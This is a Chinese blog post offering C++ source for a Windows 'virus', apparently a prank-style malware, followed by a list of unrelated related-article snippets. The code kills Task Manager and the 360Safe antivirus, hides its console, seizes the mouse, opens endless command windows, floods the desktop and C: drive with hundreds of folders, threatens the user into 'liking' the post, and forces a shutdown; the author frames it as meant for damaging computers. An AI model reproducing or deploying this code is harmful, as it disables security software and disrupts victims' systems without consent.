C++病毒(^_^|)(2)
第二期
声明:
仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。
直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;void lrud(int n=1){if(n==1){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_LEFT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0); }else if(n==2){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_UP,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0); }else if(n==3){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_RIGHT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0); }else{keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_DOWN,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0); }
}void for_lrud(){for(int i=1;i<=4;i++){lrud(i);}lrud(2);
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HCBT_ACTIVATE) {HWND hMsgBox = (HWND)wParam;SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);UnhookWindowsHookEx(g_hHook);}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}string itos3(int n){int a,b,c;a=n/100;b=n%100/10;c=n%10;string s="";if(a!=0){char d=a+'0';s+=d; }if(b!=0||(b==0&&a!=0)){char d=b+'0';s+=d;}if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){char d=c+'0';s+=d;}return s;
}struct vir{struct wenjian{void xingshi(){system("taskkill /f /im taskmgr.exe");HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);if (hwnd){ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);}MessageBox(NULL,"新年新气象","古诗",MB_OK);MessageBox(NULL,"新年多上当","古诗",MB_OK);MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK); MessageBox(NULL,"那里有个中分头","古诗",MB_OK); MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK); g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);Sleep(2000);WinExec("taskkill /f /im 360Safe.exe",SW_HIDE); HWND hw=FindWindow("360Safe.exe",NULL);if(hw!=NULL){ShowWindow(hw,SW_HIDE);}g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING); Sleep(500);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());Sleep(4000);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE); int ll=10000;while(ll--){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);SetCursorPos(rand() % cx,rand() % cy);}}void vira(){xingshi();int ll=100;while(ll--){system("start cmd");}MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);Sleep(10000);for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);Sleep(20000);MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING); for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}Sleep(20000);MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING); int ii=100000;while(ii--){SetCursorPos(1,1);}MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);int iii=10000;while(iii--){mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);}for(int i=1;i<=100;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);Sleep(10000);MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);for_lrud();MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);for(int i=1;i<=999;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());string jjb="mkdir C:\\b";jjb+=itos3(i);system(jjb.data()); } int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);if(pp==IDCANCEL){while(1){system("start cmd");srand(time(0));SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));lrud(rand()%4+1);}}HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);ShowOwnedPopups(hwnd, SW_SHOW);ShowWindow(hwnd, SW_SHOW);MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);system("shutdown -s");}}wen;
}virus;int main(){virus.wen.vira();
}
危害极大,建议损害电脑:
禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态,C盘爆炸,随意谎骗,不点赞惩罚
下一期
相关文章:
C++病毒(^_^|)(2)
第二期 声明: 仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。 直接上代码 #include <bits/stdc.h> #include <windows.h> using namespace std; HHOOK g_hHook;void lrud(…...
在vscode中拉取gitee里的项目并运行
拉取项目: 方法一:vscode点击查看--->终端(或者直接通过快捷键ctrol+ `打开) 在终端内通过cd命令定位到你想存放项目的文件夹 例如:cd h: 通过命令:git clone 地址 例如:git clone newbee-mall-vue-app: 前端代码 等待拉取完成即可在对应文件夹下看到项目啦 方…...
centos7 防火墙开放指定端口
在 CentOS 7 中,默认的防火墙管理工具是 firewalld。如果你想开放一个特定的端口,以便允许外部访问,可以通过以下步骤实现: 安装 firewalld 如果你的系统上还没有安装 firewalld,你可以通过以下命令安装: …...
Day42(补)【AI思考】-编译过程中语法分析及递归子程序分析法的系统性解析
文章目录 编译过程中语法分析及递归子程序分析法的系统性解析**一、总览:编译流程中的语法分析****1. 编译过程核心步骤** **二、语法分析的核心任务****1. 核心目标****2. 现实类比** **三、递归子程序分析法的本质****1. 方法分类****2. 递归子程序分析法的运作原…...
AI成为基础设施有哪些研究方向:模型的性能、可解释性,算法偏见
AI成为基础设施有哪些研究方向 模型的性能、可解释性和降低训练成本 伦理问题:算法偏见、数据隐私保护、人工智能的权利和责任 数据使用问题:公开数据已经使用完了,未来使用隐私数据(专家) 当AI成为基础设施后,研究方向将更加多元化和深入,涵盖技术创新、应用拓展、…...
写一个鼠标拖尾特效
思路和逻辑 要实现鼠标拖尾特效,我们需要: 监听鼠标移动事件,获取鼠标的当前位置。在每次鼠标移动时,绘制一个小圆点或其他形状在鼠标的当前位置。将所有绘制的圆点连接起来,形成一条“尾巴”。使用动画效果让尾巴看…...
Redisson介绍和入门使用
一、什么是Redisson? Redisson是一个在Redis的基础上实现的Java驻内存数据网格(In-Memory Data Grid)。它不仅提供了一系列的分布式的Java常用对象,还提供了许多分布式服务,其中就包含了各种分布式锁的实现。 官网地址…...
OpenAI推出全新AI助手“Operator”:让人工智能帮你做事的新时代!
引言 随着人工智能技术的不断发展,OpenAI 再次推出令人兴奋的功能——Operator,一个全新的 AI 助手平台。这不仅仅是一个普通的助手,它代表了人工智能技术的又一次飞跃,将改变我们工作和生活的方式。 什么是“Operator”ÿ…...
Python----PyQt开发(PyQt基础,环境搭建,Pycharm中PyQttools工具配置,第一个PyQt程序)
一、QT与PyQT的概念和特点 1.1、QT QT是一个1991年由The Qt Company开发的跨平台C图形用户界面应用程序开发 框架,可构建高性能的桌面、移动及Web应用程序。也可用于开发非GUI程序,比如 控制台工具和服务器。Qt是面向对象的框架,使用特殊的代…...
算法笔记 02 —— 入门模拟
本系列为胡凡编著的算法笔记当中代码部分的精简版整理,笔者也在同时准备Leetcode刷题和实习面试,希望为有一定编码和数据结构基础的同学提供一份系统型的参考,以方便遗忘时的算法查阅、期末复习总览以及C学习参照。 目录 01 简单模拟 Ⅰ害…...
PyTorch 源码学习:从 Tensor 到 Storage
分享自己在学习 PyTorch 源码时阅读过的资料。本文重点关注 PyTorch 的核心数据结构 Tensor 的设计与实现。因为 PyTorch 不同版本的源码实现有所不同,所以笔者在整理资料时尽可能按版本号升序,版本号见标题前[]。最新版本的源码实现还请查看 PyTorch 仓…...
uniapp 使用 鸿蒙开源字体
uniapp vue3 使用 鸿蒙开源字体 我的需求是全局使用鸿蒙字体。 所以: 0. 首先下载鸿蒙字体: 鸿蒙资源 下载后解压,发现里面有几个文件夹: 字体名称说明Sans默认的鸿蒙字体,支持基本的多语言字符(包括字…...
LabVIEW多电机CANopen同步
核心问题与解决方案 通信层配置 节点ID与波特率冲突问题:在多电机系统中,节点ID重复或波特率不匹配常导致通信中断或数据丢失。案例:某3轴贴片机因步科驱动器的默认节点ID均为1,触发了总线仲裁错误。解决方案:通过配置…...
每日定投40刀BTC(2)20250209 - 20250212
行路吟 青山叠叠水迢迢, 步履虽艰志未消。 莫问前程几多苦, 长风破浪自逍遥。...
【LeetCode Hot100 子串】和为 k 的子数组、滑动窗口最大值、最小覆盖子串
子串 1. 和为 k 的子数组题目描述解题思路主要思路步骤 时间复杂度与空间复杂度代码实现 2. 滑动窗口最大值题目描述解题思路双端队列的原理:优化步骤: Java实现 3. 最小覆盖子串题目描述解题思路滑动窗口的基本思路:具体步骤:算法…...
某虚拟页式存储管理系统中有一个程序占8个页面,运行时访问页面的顺序是1,2,3,4,5,3,4,1,6,7,8,7,8,5。假设刚开始内存没有预装入任何页面。
某虚拟页式存储管理系统中有一个程序占8个页面,运行时访问页面的顺序是1,2,3,4,5,3,4,1,6,7,8,7,8,5。假设刚开始内存没有预装入任何页面。 (1) 如果采用LRU调度算法,该程序在得到4块内存空间时,会产生多少次缺页中断?请给出详细…...
傅里叶公式推导(三)
文章目录 周期 2L周期T 周期 2L 周期 T 2 L T2L T2L 的傅里叶变换 即 f ( t ) f ( t 2 L ) f(t) f(t2L) f(t)f(t2L) xt2 π \pi π 2 L 2L 2L 原公式 f ( x ) a 0 2 ∑ n 1 ∞ [ a n cos n x b n sin n x ] a 0 1 π ∫ − π π f ( x ) d x a n 1 π ∫…...
Ubuntu 下 nginx-1.24.0 源码分析 - ngx_time_update函数
定义在 src\core\ngx_times.c 中 ngx_time_init 函数后面 void ngx_time_update(void) {u_char *p0, *p1, *p2, *p3, *p4;ngx_tm_t tm, gmt;time_t sec;ngx_uint_t msec;ngx_time_t *tp;struct timeval tv;if (!ngx_trylock(&ngx…...
老牌系统工具箱,现在还能打!
今天给大家分享一款超实用的电脑软硬件检测工具,虽然它是一款比较“资深”的软件,但依然非常好用,完全能满足我们的日常需求。 电脑软硬件维护检测工具 功能强大易用 这款软件非常贴心,完全不需要安装,直接打开就能用…...
mysql error1449解决方法
MySQL Error 1449 错误信息为 “The user specified as a definer (userhost) does not exist”,意思是定义者(创建存储过程、函数、触发器等数据库对象时指定的用户)在当前系统中不存在,从而导致无法正常使用这些对象。以下是针对…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...
黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 ` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
